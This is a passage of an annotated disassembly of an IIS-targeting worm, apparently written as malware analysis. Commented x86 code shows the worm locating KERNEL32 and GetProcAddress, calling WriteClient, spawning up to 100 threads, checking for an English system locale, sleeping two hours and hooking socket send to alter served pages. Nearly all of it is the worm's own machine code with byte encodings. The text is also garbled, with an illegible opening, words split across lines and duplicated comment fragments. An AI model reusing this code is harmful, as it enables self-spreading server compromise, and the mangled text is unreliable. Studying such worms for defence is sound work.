

[illegible]

```

ebp+val
seg000:00000215 89 47 08      mov     [edi+8], eax      ; set ebp+118 to 0
seg000:00000218 64 89 3D 00 00 00+   mov     large fs:0, edi ; set fs reg ?
seg000:0000021F E9 6F 0A 00 00      jmp     JUMP_TABLE1     ; Jump
seg000:0000021F                                DataSetup      endp
seg000:0000021F
seg000:00000224
seg000:00000224      ; 000000000000000000000000 S U B R O U T I N E 00000000000000000000
seg000:00000224
seg000:00000224      DO_RVA      proc near      ; CODE XREF: se
g000:00000C93\031p
seg000:00000224 8F 85 60 FE FF FF      pop     dword ptr [ebp-1A0h]
seg000:0000022A C7 85 F0 FE FF FF+   mov     dword ptr [ebp-110h], 0FFFFFFFF
h ; set 110h to 0xffffffff
seg000:00000234 8B 85 68 FE FF FF      mov     eax, [ebp-198h] ; load eax to the
data address
seg000:0000023A 83 E8 07      sub     eax, 7          ; sub 7 from the
data segment, putting you at: 0D0B
seg000:0000023D 89 85 F4 FE FF FF      mov     [ebp-10Ch], eax ; set ebp - 10c
to 0D0B
seg000:00000243 C7 85 58 FE FF FF+   mov     dword ptr [ebp-1A8h], 77E00000h
; set 1A8 to 0x780000
seg000:00000243 00 00 E0 77                                ; __NULL_IMPORT
_DESCRIPTOR+15D4h
seg000:0000024D E8 9B 0A 00 00      call    DO_REWRITE     ; jump into ced
, do stuff, then jump back
seg000:00000252
seg000:00000252      RVA_TOP:      ; CODE XREF: DO
_RVA+213\031j
seg000:00000252 83 BD 70 FE FF FF+   cmp     dword ptr [ebp-190h], 0 ; this
is null on the first loop through, due to a null set at init.
seg000:00000252 00                                ; The purpose of
this loop point is to loop through DLL Names in the RVA table, looking for KERNEL32.dll, or more specifically, KERN
seg000:00000259 0F 85 DD 01 00 00      jnz     GETPROC_LOADED ; go here after
GetProcAddr is loaded
seg000:0000025F 8B 8D 58 FE FF FF      mov     ecx, [ebp-1A8h] ; set ecx to 77
E00000
seg000:00000265 81 C1 00 00 01 00      add     ecx, 10000h     ; make ecx 0x77
e10000
seg000:0000026B 89 8D 58 FE FF FF      mov     [ebp-1A8h], ecx
seg000:00000271 81 BD 58 FE FF FF+   cmp     dword ptr [ebp-1A8h], 78000000h
; is it msvcrt?
seg000:0000027B 75 0A      jnz     short NOT_MSVCRT ; if it is not
, then jump here
seg000:0000027D C7 85 58 FE FF FF+   mov     dword ptr [ebp-1A8h], 0BFF00000
h
seg000:00000287
seg000:00000287      NOT_MSVCRT:      ; CODE XREF: DO
_RVA+57\030j
seg000:00000287 8B 95 58 FE FF FF      mov     edx, [ebp-1A8h] ; set edx to 0x
77E10000
seg000:0000028D 33 C0      xor     eax, eax        ; null out eax
seg000:0000028F 66 8B 02      mov     ax, [edx]       ; move the low
half of *edx into eax
seg000:0000028F                                ; should be som
ething like 5a4d
seg000:00000292 3D 4D 5A 00 00      cmp     eax, 5A4Dh      ; Compare Two O
perands
seg000:00000297 0F 85 9A 01 00 00      jnz     TO_RVA_TOP     ; jump if eax i
s not 5a4d
seg000:0000029D 8B 8D 58 FE FF FF      mov     ecx, [ebp-1A8h] ; set ecx to 0x
77E10000
seg000:000002A3 8B 51 3C      mov     edx, [ecx+3Ch]  ; set edx to *e
cx+3ch
seg000:000002A3                                ; should be som
ething like 0x000000D8

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Address	Disassembly	Comment
seg000:000002A6 8B 85 58 FE FF FF	mov	eax, [ebp-1A8h] ; set eax to 0x77E10000
seg000:000002AC 33 C9	xor	ecx, ecx ; null out ecx
seg000:000002AE 66 8B 0C 10	mov	cx, [eax+edx] ; set ecx to what's at eax+edx
seg000:000002AE		; should be something like 0x00004550
seg000:000002B2 81 F9 50 45 00 00	cmp	ecx, 4550h ; Compare Two 0
seg000:000002B8 0F 85 79 01 00 00	jnz	TO_RVA_TOP ; jump if ecx is not 0x00004550
seg000:000002BE 8B 95 58 FE FF FF	mov	edx, [ebp-1A8h] ; set edx to 0x77E10000
seg000:000002C4 8B 42 3C	mov	eax, [edx+3Ch] ; set eax to what's at 0x77E1003Ch
seg000:000002C4		; should be something like 0x000000D8
seg000:000002C7 8B 8D 58 FE FF FF	mov	ecx, [ebp-1A8h] ; set ecx to 0x77E10000
seg000:000002CD 8B 54 01 78	mov	edx, [ecx+eax+78h] ; set edx to what's at address 0x77E100B4
seg000:000002CD		; should be something like 51E00
seg000:000002D1 03 95 58 FE FF FF	add	edx, [ebp-1A8h] ; add 0x77E10000 to edx
seg000:000002D7 89 95 54 FE FF FF	mov	[ebp-1ACh], edx ; set ebp-1ACh to 0x77E61E00
seg000:000002DD 8B 85 54 FE FF FF	mov	eax, [ebp-1ACh] ; set eax to 0x77E61E00
seg000:000002E3 8B 48 0C	mov	ecx, [eax+0Ch] ; set ecx to what's at 0x77E61E0C
seg000:000002E3		; should be something like 0x005394E
seg000:000002E6 03 8D 58 FE FF FF	add	ecx, [ebp-1A8h] ; add 0x77E10000 to ecx, to get something like 0x77E6394E
seg000:000002EC 89 8D 4C FE FF FF	mov	[ebp-1B4h], ecx ; set ebp-1B4h to 0x77E6394E
seg000:000002F2 8B 95 4C FE FF FF	mov	edx, [ebp-1B4h] ; set edx to 0x77E6394E
seg000:000002F8 81 3A 4B 45 52 4E	cmp	dword ptr [edx], 4E52454Bh ; looking for our specific code (NREK) - KERN spelled backwards.. this is to find KERNEL32
seg000:000002FE 0F 85 33 01 00 00	jnz	TO_RVA_TOP ; Jump if Not Zero (ZF=0)
seg000:00000304 8B 85 4C FE FF FF	mov	eax, [ebp-1B4h]
seg000:0000030A 81 78 04 45 4C 33	cmp	dword ptr [eax+4], 32334C45h ; looking for our specific code (23LE) - EL32 spelled backwards.. this is to find KERNEL32
seg000:00000311 0F 85 20 01 00 00	jnz	TO_RVA_TOP ; Jump if Not Zero (ZF=0)
seg000:00000317 8B 8D 58 FE FF FF	mov	ecx, [ebp-1A8h] ; ok, we have kernel32, now get the functions we need.
seg000:0000031D 89 8D 34 FE FF FF	mov	[ebp-1CCh], ecx ; store the kernel32 base addr.
seg000:00000323 8B 95 54 FE FF FF	mov	edx, [ebp-1ACh] ; set edx to the offset from the base
seg000:00000329 8B 85 58 FE FF FF	mov	eax, [ebp-1A8h] ; set eax to the base
seg000:0000032F 03 42 20	add	eax, [edx+20h] ; add the offset pointer to the base to get the RVA addr.
seg000:00000332 89 85 4C FE FF FF	mov	[ebp-1B4h], eax ; set ebp-1B4h with rva holder
seg000:00000338 C7 85 48 FE FF FF	mov	dword ptr [ebp-1B8h], 0 ; set ebp-1B8h to 0
seg000:00000342 EB 1E	jmp	short RVA_PROCESS_FUNC ; This is the part of the inner RVA loop that compares the current RVA function to GetProcAddress.
seg000:00000342		;
seg000:00000344		;
seg000:00000344		;
seg000:00000344		RVA INNER TOP:
seg000:00000344		; CODE XREF: DO_00000344

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_RVA+20E\031j
seg000:00000344 8B 8D 48 FE FF FF      mov     ecx, [ebp-1B8h] ; this moves on
to the next func in an rva table
seg000:0000034A 83 C1 01               add     ecx, 1          ; Add
seg000:0000034D 89 8D 48 FE FF FF      mov     [ebp-1B8h], ecx
seg000:00000353 8B 95 4C FE FF FF      mov     edx, [ebp-1B4h]
seg000:00000359 83 C2 04               add     edx, 4          ; Add
seg000:0000035C 89 95 4C FE FF FF      mov     [ebp-1B4h], edx
seg000:00000362
seg000:00000362          RVA_PROCESS_FUNC:                ; CODE XREF: DO
_RVA+11E\030j
seg000:00000362 8B 85 54 FE FF FF      mov     eax, [ebp-1ACh] ; This is the p
art of the inner RVA loop that compares the current RVA function to GetProcAddress.
seg000:00000362                               ;
seg000:00000368 8B 8D 48 FE FF FF      mov     ecx, [ebp-1B8h]
seg000:0000036E 3B 48 18               cmp     ecx, [eax+18h] ; Compare Two O
perands
seg000:00000371 0F 8D C0 00 00 00      jge     TO_RVA_TOP      ; this is the e
nd of the inside loop(there are no more functions), goto RVA top and try again.
seg000:00000377 8B 95 4C FE FF FF      mov     edx, [ebp-1B4h]
seg000:0000037D 8B 02               mov     eax, [edx]
seg000:0000037F 8B 8D 58 FE FF FF      mov     ecx, [ebp-1A8h]
seg000:00000385 81 3C 01 47 65 74+     cmp     dword ptr [ecx+eax], 50746547h
; looking for GetProcAddress (PteG cmp)
seg000:0000038C 0F 85 A0 00 00 00      jnz     TO_RVA_INNER_TOP ; didn't match
, try the next one.
seg000:00000392 8B 95 4C FE FF FF      mov     edx, [ebp-1B4h]
seg000:00000398 8B 02               mov     eax, [edx]
seg000:0000039A 8B 8D 58 FE FF FF      mov     ecx, [ebp-1A8h]
seg000:000003A0 81 7C 01 04 72 6F+     cmp     dword ptr [ecx+eax+4], 41636F72
h ; looking for GetProcAddress (Acor cmp)
seg000:000003A8 0F 85 84 00 00 00      jnz     TO_RVA_INNER_TOP ; didn't match
, try the next one.
seg000:000003AE 8B 95 48 FE FF FF      mov     edx, [ebp-1B8h] ; it did match
this is GetProcAddress, need to get the mapped RVA for this func.
seg000:000003B4 03 95 48 FE FF FF      add     edx, [ebp-1B8h] ; get offset in
to table and double it
seg000:000003BA 03 95 58 FE FF FF      add     edx, [ebp-1A8h] ; get RVA Base
for Kernel32.dll
seg000:000003C0 8B 85 54 FE FF FF      mov     eax, [ebp-1ACh]
seg000:000003C6 8B 48 24               mov     ecx, [eax+24h]
seg000:000003C9 33 C0               xor     eax, eax        ; NULL out eax
seg000:000003CB 66 8B 04 0A           mov     ax, [edx+ecx]
seg000:000003CF 89 85 4C FE FF FF      mov     [ebp-1B4h], eax ; set ebp-1B4 t
o offset into rva table
seg000:000003D5 8B 8D 54 FE FF FF      mov     ecx, [ebp-1ACh]
seg000:000003DB 8B 51 10               mov     edx, [ecx+10h]
seg000:000003DE 8B 85 4C FE FF FF      mov     eax, [ebp-1B4h]
seg000:000003E4 8D 4C 10 FF           lea     ecx, [eax+edx-1] ; Load Effecti
ve Address
seg000:000003E8 89 8D 4C FE FF FF      mov     [ebp-1B4h], ecx
seg000:000003EE 8B 95 4C FE FF FF      mov     edx, [ebp-1B4h]
seg000:000003F4 03 95 4C FE FF FF      add     edx, [ebp-1B4h] ; Add
seg000:000003FA 03 95 4C FE FF FF      add     edx, [ebp-1B4h] ; Add
seg000:00000400 03 95 4C FE FF FF      add     edx, [ebp-1B4h] ; Add
seg000:00000406 03 95 58 FE FF FF      add     edx, [ebp-1A8h] ; Add
seg000:0000040C 8B 85 54 FE FF FF      mov     eax, [ebp-1ACh]
seg000:00000412 8B 48 1C               mov     ecx, [eax+1Ch]
seg000:00000415 8B 14 0A               mov     edx, [edx+ecx]
seg000:00000418 89 95 4C FE FF FF      mov     [ebp-1B4h], edx
seg000:0000041E 8B 85 4C FE FF FF      mov     eax, [ebp-1B4h]
seg000:00000424 03 85 58 FE FF FF      add     eax, [ebp-1A8h] ; Add
seg000:0000042A 89 85 70 FE FF FF      mov     [ebp-190h], eax ; set ebp-190 t
o GetProcAddress Address
seg000:00000430 EB 05               jmp     short TO_RVA_TOP ; Jump
seg000:00000432          ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000432
seg000:00000432          TO_RVA_INNER_TOP:                ; CODE XREF: DO
_RVA+168\030j
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seg000:00000432                                     ; DO_RVA+184
\030j
seg000:00000432 E9 0D FF FF FF                      jmp      RVA_INNER_TOP    ; this moves on
to the next func in an rva table
seg000:00000437                                     ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000437
seg000:00000437 TO_RVA_TOP:                                     ; CODE XREF: DO
_RVA+73\030j
seg000:00000437                                     ; DO_RVA+94\030
j      ...
seg000:00000437 E9 16 FE FF FF                      jmp      RVA_TOP          ; this is null
on the first loop through, due to a null set at init.
seg000:00000437                                     ; The purpose o
f this loop point is to loop through DLL Names in the RVA table, looking for KERNEL32.dl
l, or more specifcly, KERN
seg000:0000043C                                     ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:0000043C
seg000:0000043C GETPROC_LOADED:                                     ; CODE XREF: DO
_RVA+35\030j
seg000:0000043C 8D BD F0 FE FF FF                      lea      edi, [ebp-110h] ; Load Effectiv
e Address
seg000:00000442 8B 47 08                      mov      eax, [edi+8]
seg000:00000445 64 A3 00 00 00 00                      mov      large fs:0, eax
seg000:0000044B 83 BD 70 FE FF FF+                   cmp      dword ptr [ebp-190h], 0 ; see i
f getprocaddr is loaded
seg000:00000452 75 05                      jnz      short GPLOADED2 ; if it is, got
o gploded2
seg000:00000454 E9 38 08 00 00                      jmp      TIGHT_LOOP      ; else, goto lo
cC91
seg000:00000459                                     ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000459
seg000:00000459 GPLOADED2:                                     ; CODE XREF: DO
_RVA+22E\030j
seg000:00000459 C7 85 4C FE FF FF+                   mov      dword ptr [ebp-1B4h], 1 ; set e
bp-1b4 to 1
seg000:00000463 EB 0F                      jmp      short GETPROC_LOOP_TOP ; load e
dx with the data segment
seg000:00000465                                     ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000465
seg000:00000465 GETPROC_LOOP_INC:                                     ; CODE XREF: DO
_RVA+2E9\031j
seg000:00000465 8B 8D 4C FE FF FF                      mov      ecx, [ebp-1B4h] ; increment the
counter at ebp-ib4
seg000:0000046B 83 C1 01                      add      ecx, 1          ; Add
seg000:0000046E 89 8D 4C FE FF FF                      mov      [ebp-1B4h], ecx
seg000:00000474
seg000:00000474 GETPROC_LOOP_TOP:                                     ; CODE XREF: DO
_RVA+23F\030j
seg000:00000474 8B 95 68 FE FF FF                      mov      edx, [ebp-198h] ; load edx with
the data segment
seg000:0000047A 0F BE 02                      movsx    eax, byte ptr [edx] ; move the
byte at data segment to eax
seg000:0000047D 85 C0                      test     eax, eax        ; check if the
byte is null. This signifies the end of the function data section.
seg000:0000047F 0F 84 8D 00 00 00                      jz       FUNC_LOAD_DONE ; if it is, go
here
seg000:00000485 8B 8D 68 FE FF FF                      mov      ecx, [ebp-198h] ; load ecx with
the data segment
seg000:0000048B 0F BE 11                      movsx    edx, byte ptr [ecx] ; load edx
wuih the byte at data segment
seg000:0000048E 83 FA 09                      cmp      edx, 9          ; check if the
byte specifies change of dll
seg000:00000491 75 21                      jnz      short loc_4B4   ; if not, jump
here
seg000:00000493 8B 85 68 FE FF FF                      mov      eax, [ebp-198h] ; set eax to cu
rrent data pointer
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seg000:00000499 83 C0 01          add     eax, 1          ; get past the
9
seg000:0000049C 8B F4          mov     esi, esp
seg000:0000049E 50          push    eax          ; push current
data pointer
seg000:0000049F FF 95 90 FE FF FF  call    dword ptr [ebp-170h] ; LoadLibr
aryA
seg000:000004A5 3B F4          cmp     esi, esp      ; Compare Two O
perands
seg000:000004A7 90          nop                     ; No Operation
seg000:000004A8 43          inc     ebx          ; Increment by
1
seg000:000004A9 4B          dec     ebx          ; Decrement by
1
seg000:000004AA 43          inc     ebx          ; Increment by
1
seg000:000004AB 4B          dec     ebx          ; Decrement by
1
seg000:000004AC 89 85 34 FE FF FF  mov     [ebp-1CCh], eax ; load current
dll base pointer with return from LoadLibraryA
seg000:000004B2 EB 2A          jmp     short DLL_CHECK_NULL_BRANCH ; J
ump
seg000:000004B4          ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:000004B4          loc_4B4:              ; CODE XREF: DO
_RVA+26D\030j
seg000:000004B4 8B F4          mov     esi, esp
seg000:000004B6 8B 8D 68 FE FF FF  mov     ecx, [ebp-198h] ; set ecx with
the data segment pointer
seg000:000004BC 51          push    ecx          ; push data seg
ment(pointer of function to load)
seg000:000004BD 8B 95 34 FE FF FF  mov     edx, [ebp-1CCh] ; get current R
VA base offset
seg000:000004C3 52          push    edx          ; push module h
andle(base loaded address)
seg000:000004C4 FF 95 70 FE FF FF  call    dword ptr [ebp-190h] ; call Get
ProcAddress
seg000:000004CA 3B F4          cmp     esi, esp      ; Compare Two O
perands
seg000:000004CC 90          nop                     ; No Operation
seg000:000004CD 43          inc     ebx          ; Increment by
1
seg000:000004CE 4B          dec     ebx          ; Decrement by
1
seg000:000004CF 43          inc     ebx          ; Increment by
1
seg000:000004D0 4B          dec     ebx          ; Decrement by
1
seg000:000004D1 8B 8D 4C FE FF FF  mov     ecx, [ebp-1B4h] ; load ecx with
ebp-1b4
seg000:000004D7 89 84 8D 8C FE FF+  mov     [ebp+ecx*4-174h], eax ; load th
e address into the ebp stack where needed
seg000:000004D7 FF          ; this sets up
our function jump table
seg000:000004DE
seg000:000004DE          DLL_CHECK_NULL_BRANCH: ; CODE XREF: DO
_RVA+28E\030j
seg000:000004DE EB 0F          jmp     short CHECK_NULL_BRANCH ; load
eax with data segment.
seg000:000004DE          ;
seg000:000004DE          ; this checks t
he nullishness of the ebp-198 data pointer, and if isn't null, increments it.
seg000:000004E0          ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:000004E0          CHECK_NULL_BRANCH_INC: ; CODE XREF: DO
_RVA+2D8\031j
seg000:000004E0 8B 95 68 FE FF FF  mov     edx, [ebp-198h] ; this function
moves the data segment on to the next lookup

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```
seg000:000004E6 83 C2 01          add     edx, 1          ; Add
seg000:000004E9 89 95 68 FE FF FF  mov     [ebp-198h], edx
seg000:000004EF
seg000:000004EF          CHECK_NULL_BRANCH:          ; CODE XREF: DO
_RVA+2BA\030j
seg000:000004EF 8B 85 68 FE FF FF  mov     eax, [ebp-198h] ; load eax with
data segment.
seg000:000004EF          ;
seg000:000004EF          ; this checks t
he nullishness of the ebp-198 data pointer, and if isn't null, increments it.
seg000:000004F5 0F BE 08          movsx   ecx, byte ptr [eax] ; load byte
at eax into ecx
seg000:000004F8 85 C9            test    ecx, ecx        ; check for nul
l
seg000:000004FA 74 02            jz      short GETPROC_SHIFT_NULL ; if i
t is null, go here
seg000:000004FC EB E2            jmp     short CHECK_NULL_BRANCH_INC ; e
lse go here
seg000:000004FE          ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:000004FE
seg000:000004FE          GETPROC_SHIFT_NULL:          ; CODE XREF: DO
_RVA+2D6\030j
seg000:000004FE 8B 95 68 FE FF FF  mov     edx, [ebp-198h] ; this function
moves past the null on the end of a line to set the function up for the next run throug
h the getproc/load library system
seg000:00000504 83 C2 01          add     edx, 1          ; Add
seg000:00000507 89 95 68 FE FF FF  mov     [ebp-198h], edx
seg000:0000050D E9 53 FF FF FF    jmp     GETPROC_LOOP_INC ; increment th
e counter at ebp-1b4
seg000:00000512          ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000512
seg000:00000512          FUNC_LOAD_DONE:          ; CODE XREF: DO
_RVA+25B\030j
seg000:00000512 8B 85 68 FE FF FF  mov     eax, [ebp-198h] ; set eax to th
e data segment
seg000:00000518 83 C0 01          add     eax, 1          ; inc eax
seg000:0000051B 89 85 68 FE FF FF  mov     [ebp-198h], eax ; set datasegme
nt to eax
seg000:0000051B          ;
seg000:0000051B          ; This moves us
past the final NULL at the end of the Dll Listing
seg000:00000521 8B 4D 08          mov     ecx, [ebp+8]    ; load ecx with
an address at ebp+8
seg000:00000524 8B 91 84 00 00 00  mov     edx, [ecx+84h]  ; load edx with
a wam.dll entry
seg000:0000052A 89 95 6C FE FF FF  mov     [ebp-194h], edx ; load this wam
.dll entry into ebp-194
seg000:00000530 C7 85 4C FE FF FF+  mov     dword ptr [ebp-1B4h], 4 ; set e
bp-1b4 to 4
seg000:0000053A C6 85 D0 FE FF FF+  mov     byte ptr [ebp-130h], 68h ; 'h'
; set ebp-130 to 68h
seg000:0000053A 68              ;
seg000:0000053A          ; this seems to
be setting up some type of structure
seg000:00000541 8B 45 08          mov     eax, [ebp+8]    ; load eax with
ebp+8(possibly an isapi request struct)
seg000:00000544 89 85 D1 FE FF FF  mov     [ebp-12Fh], eax ; save the ebp+
8 at ebp-12f
seg000:0000054A C7 85 D5 FE FF FF+  mov     dword ptr [ebp-12Bh], 0FF53535B
h
seg000:00000554 C7 85 D9 FE FF FF+  mov     dword ptr [ebp-127h], 90907863h
seg000:0000055E 8B 4D 08          mov     ecx, [ebp+8]    ; check pointer
to the possible isapi struct
seg000:00000561 8B 51 10          mov     edx, [ecx+10h]
seg000:00000564 89 95 50 FE FF FF  mov     [ebp-1B0h], edx ; set response
to check at ebp-1b0
seg000:0000056A 83 BD 50 FE FF FF+  cmp     dword ptr [ebp-1B0h], 0 ; Compa
re Two Operands
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seg000:00000571 75 26                jnz     short loc_599    ; if it's not 0
, then go here
seg000:00000573 8B F4                mov     esi, esp        ; Get Ready to
call a function
seg000:00000575 6A 00                push    0               ; push a null
seg000:00000577 8D 85 4C FE FF FF    lea     eax, [ebp-1B4h]  ; load eax to t
he addr of ebp-1b4, set to 4
seg000:0000057D 50                    push    eax             ; push the addr
on the stack
seg000:0000057E 8B 8D 68 FE FF FF    mov     ecx, [ebp-198h] ; load eax to t
he addr of ebp-198, set to data segment right after the funcnames
seg000:00000584 51                    push    ecx             ; push it
seg000:00000585 8B 55 08             mov     edx, [ebp+8]    ; set edx with
ebp+8 pointer
seg000:00000588 8B 42 08             mov     eax, [edx+8]    ; load eax with
the data at edx+8
seg000:0000058B 50                    push    eax             ; push eax
seg000:0000058C FF 95 6C FE FF FF    call    dword ptr [ebp-194h] ; call Wri
teClient in WAM
seg000:00000592 3B F4                cmp     esi, esp        ; Compare Two 0
perands
seg000:00000594 90                    nop                     ; No Operation
seg000:00000595 43                    inc     ebx             ; Increment by
1
seg000:00000596 4B                    dec     ebx             ; Decrement by
1
seg000:00000597 43                    inc     ebx             ; Increment by
1
seg000:00000598 4B                    dec     ebx             ; Decrement by
1
seg000:00000599
seg000:00000599                loc_599:                ; CODE XREF: DO
_RVA+34D\030j
seg000:00000599 83 BD 50 FE FF FF+   cmp     dword ptr [ebp-1B0h], 64h ; 'd'
; check is 64 is in ebp-1b0
seg000:000005A0 7D 5C                jge     short TOO_MANY_THREADS ; branch
here if more than 100 are running
seg000:000005A2 8B 8D 50 FE FF FF    mov     ecx, [ebp-1B0h] ; set ecx to nu
mber of threads
seg000:000005A8 83 C1 01             add     ecx, 1          ; increment the
number of open threads
seg000:000005AB 89 8D 50 FE FF FF    mov     [ebp-1B0h], ecx ; store the new
value of threadcount
seg000:000005B1 8B 95 50 FE FF FF    mov     edx, [ebp-1B0h] ; set thread co
unt into edx
seg000:000005B7 69 D2 8D 66 F0 50    imul    edx, 50F0668Dh ; Signed Multip
ly
seg000:000005BD 89 95 74 FE FF FF    mov     [ebp-18Ch], edx ; store the new
val at ebp-18c
seg000:000005C3 8B 45 08             mov     eax, [ebp+8]    ; load eax with
the isapi extension block
seg000:000005C6 8B 8D 50 FE FF FF    mov     ecx, [ebp-1B0h] ; load ecx with
the threadcount
seg000:000005CC 89 48 10             mov     [eax+10h], ecx ; store threadc
ount in the isapi extension block
seg000:000005CF 8B F4                mov     esi, esp
seg000:000005D1 8D 95 2C FE FF FF    lea     edx, [ebp-1D4h] ; Load Effectiv
e Address
seg000:000005D7 52                    push    edx             ; LPDWORD lpThr
eadId // thread identifier
seg000:000005D8 6A 00                push    0               ; DWORD dwCreat
ionFlags // creation option
seg000:000005DA 8D 85 4C FE FF FF    lea     eax, [ebp-1B4h] ; Load Effectiv
e Address
seg000:000005E0 50                    push    eax             ; LPVOID lpPara
meter // thread argument
seg000:000005E1 8D 8D D0 FE FF FF    lea     ecx, [ebp-130h] ; Load Effectiv
e Address
seg000:000005E7 51                    push    ecx             ; LPTHREAD_STAR
T_ROUTINE lpStartAddress // thread function

```



seg000:000005E8	6A 00		push	0	; DWORD dwStack
Size // initial stack size					
seg000:000005EA	6A 00		push	0	; LPSECURITY_ATTRIBUTES
TRIBUTES lpThreadAttributes // SD					
seg000:000005EC	FF 95 98 FE FF FF		call	dword ptr [ebp-168h]	; CreateThread
read					
seg000:000005F2	3B F4		cmp	esi, esp	; Compare Two Operands
perands					
seg000:000005F4	90		nop		; No Operation
seg000:000005F5	43		inc	ebx	; Increment by 1
1					
seg000:000005F6	4B		dec	ebx	; Decrement by 1
1					
seg000:000005F7	43		inc	ebx	; Increment by 1
1					
seg000:000005F8	4B		dec	ebx	; Decrement by 1
1					
seg000:000005F9	E9 9F 01 00 00		jmp	DO_THE_WORK	; this exits from loop
om sub 224, not positive of the end result.					
seg000:000005FE					; AAA
AA					
seg000:000005FE					
seg000:000005FE		TOO_MANY_THREADS:			; CODE XREF: DO_THREADING+10j
_RVA+37C\030j					
seg000:000005FE	8B F4		mov	esi, esp	; setup a function pointer
seg000:00000600	FF 95 A4 FE FF FF		call	dword ptr [ebp-15Ch]	; GetSystemDefaultLangId
mDefaultLangId					
seg000:00000606	3B F4		cmp	esi, esp	; Compare Two Operands
perands					
seg000:00000608	90		nop		; No Operation
seg000:00000609	43		inc	ebx	; Increment by 1
1					
seg000:0000060A	4B		dec	ebx	; Decrement by 1
1					
seg000:0000060B	43		inc	ebx	; Increment by 1
1					
seg000:0000060C	4B		dec	ebx	; Decrement by 1
1					
seg000:0000060D	89 85 4C FE FF FF		mov	[ebp-1B4h], eax	; put default system languageid in ebp-1b4
ystem languageid in ebp-1b4					
seg000:00000613	8B 95 4C FE FF FF		mov	edx, [ebp-1B4h]	
seg000:00000619	81 E2 FF FF 00 00		and	edx, 0FFFFh	; Logical AND
seg000:0000061F	89 95 4C FE FF FF		mov	[ebp-1B4h], edx	
seg000:00000625	81 BD 4C FE FF FF+		cmp	dword ptr [ebp-1B4h], 409h	; Compare Two Operands
mpare Two Operands					
seg000:0000062F	74 05		jz	short IS_AMERICAN	; if not english go
ish go					
seg000:00000631	E9 67 01 00 00		jmp	DO_THE_WORK	; this exits from loop
om sub 224, not positive of the end result.					
seg000:00000636					; AAA
AA					
seg000:00000636					
seg000:00000636		IS_AMERICAN:			; CODE XREF: DO_THREADING+10j
_RVA+40B\030j					
seg000:00000636	8B F4		mov	esi, esp	
seg000:00000638	68 00 DD 6D 00		push	6DDD00h	; this is 2 hours
rs					
seg000:0000063D	FF 95 A0 FE FF FF		call	dword ptr [ebp-160h]	; Sleep
seg000:0000063D					; This Sleeps for 2 hours
or 2 hours					
seg000:00000643	3B F4		cmp	esi, esp	; Compare Two Operands
perands					
seg000:00000645	90		nop		; No Operation
seg000:00000646	43		inc	ebx	; Increment by 1
1					
seg000:00000647	4B		dec	ebx	; Decrement by 1
1					
seg000:00000648	43		inc	ebx	; Increment by 1
1					

```
seg000:00000649 4B          dec     ebx          ; Decrement by
1
seg000:0000064A E9 80 06 00 00      jmp     HACK_PAGE_JUMP ; this sets up
the hacked page bit
seg000:0000064A          DO_RVA          endp
seg000:0000064A
seg000:0000064F
seg000:0000064F          ; 0000000000000000 S U B R O U T I N E 0000000000000000
00000000000000000000000000000000
seg000:0000064F
seg000:0000064F          ; pop the stack into the counter
seg000:0000064F
seg000:0000064F          HACK_PAGE          proc near          ; CODE XREF: se
g000:00000CCF\031p
seg000:0000064F 8F 85 4C FE FF FF      pop     dword ptr [ebp-1B4h]
seg000:00000655 8B 85 34 FE FF FF      mov     eax, [ebp-1CCh] ; load eax with
the current dll base address(probably w3svc)
seg000:0000065B 89 85 CC FE FF FF      mov     [ebp-134h], eax ; store base at
ebp-134
seg000:00000661 8B 8D 4C FE FF FF      mov     ecx, [ebp-1B4h] ; load thecount
er into ecx
seg000:00000667 8B 95 B0 FE FF FF      mov     edx, [ebp-150h] ; load edx with
tcpsocksend
seg000:0000066D 89 11          mov     [ecx], edx      ; store tcpsock
send at the address popped from the stack
seg000:0000066F 8B 85 4C FE FF FF      mov     eax, [ebp-1B4h] ; load eax with
the address popped from the stack
seg000:00000675 8B 8D C8 FE FF FF      mov     ecx, [ebp-138h] ; load ecx with
close socket
seg000:0000067B 89 48 04          mov     [eax+4], ecx    ; the next addr
after the one popped is replaced with closesocket
seg000:0000067E 8B 95 68 FE FF FF      mov     edx, [ebp-198h] ; store data po
inter in edx
seg000:00000684 89 95 50 FE FF FF      mov     [ebp-1B0h], edx ; store data po
inter at ebp-1b0
seg000:0000068A EB 0F          jmp     short GET_HTML ; Jump
seg000:0000068C          ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:0000068C
seg000:0000068C          GET_HTML_INC:          ; CODE XREF: HA
CK_PAGE+70\031j
seg000:0000068C 8B 85 50 FE FF FF      mov     eax, [ebp-1B0h] ; Get the next
byte to compare to
seg000:00000692 83 C0 01          add     eax, 1          ; Add
seg000:00000695 89 85 50 FE FF FF      mov     [ebp-1B0h], eax
seg000:0000069B
seg000:0000069B          GET_HTML:              ; CODE XREF: HA
CK_PAGE+3B\030j
